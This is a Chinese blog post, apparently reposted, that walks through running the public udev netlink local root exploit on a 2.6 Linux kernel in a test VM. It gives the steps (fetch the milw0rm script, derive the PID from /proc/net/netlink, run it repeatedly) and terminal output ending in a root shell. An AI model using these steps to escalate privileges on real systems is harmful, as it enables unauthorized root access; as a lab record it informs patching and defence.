河北网络安全博客

河北博客是一个关注网络安全、网站设计、网站推广、网站优化SEO、网站建设的河北地方博客。

« 微软爆严重漏洞 网民在线看电影可能中毒吸引链接的三十招技巧 »

UDEV本地溢出漏洞利用手记

来源:职业欠钱
  这段时间UDEV溢出漏洞很火,在虚拟机上做了下试验,发现确实很好用。
貌似通杀范围很广

1. 将http://www.milw0rm.com/exploits/8478 保存为一个shell文件,也可以随便命名,例如我后面命名为a

2. 查找udev的第一个socket的PID,可以通过执行如下命令获得:
   cat /proc/net/netlink

3. 将出现在第一行的PID减去1,作为参数,例如
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cfe9ce00 0   0      00000000 0        0        00000000

这个PID是0,减去1后得到-1

4. sh a -1 (如果失败了,多执行几次)

下面是一次成功的演示(我失败了N次,本来以为系统不受影响的,后来听说2.6内核的都受影响,所以多尝试了几次,忽然间看到一个可爱的#,激动)

bt tmp $ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cfe9ce00 0   0      00000000 0        0        00000000 2
cf8f3800 6   0      00000000 0        0        00000000 2
cfa96400 8   0      00000000 0        0        00000000 2
cfe13000 10 0      00000000 0        0        00000000 2
cff57c00 12 0      00000000 0        0        00000000 2
cfe9cc00 15 0      00000000 0        0        00000000 2
cff57600 15 1060   00000001 0        0        00000000 2
c12a3000 16 0      00000000 0        0        00000000 2
c12a3200 18 0      00000000 0        0        00000000 2
bt tmp $ sh a -1             
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/lib/gcc/i486-slackware-linux/4.1.2/../../../../i486-slackware-linux/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.1# id
uid=0(root) gid=0(root) groups=10(wheel)
sh-3.1# uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2140 @ 1.60GHz GenuineIntel GNU/Linux


------------------------郁闷的分割线----------------------------------------------------------------------

后来又反复测试了几十次,才能够再成功一次。

bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1$ exit -----------> 又失败了
exit
bt test $ bash b -1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# ---------------> 成功




发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

订阅河北博客

河北博客站内搜索

河北博客相关链接

河北博客热文排行

最新评论及回复

最近发表

网站收藏

Powered By kingwq's blog

本站采用创作共用版权协议, 要求署名、非商业用途和保持一致. 转载本站内容必须也遵循“署名-非商业用途-保持一致”的创作共用协议.
This site is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 2.5 License.冀ICP备09002514号.Copyright www.kingwq.cn.2010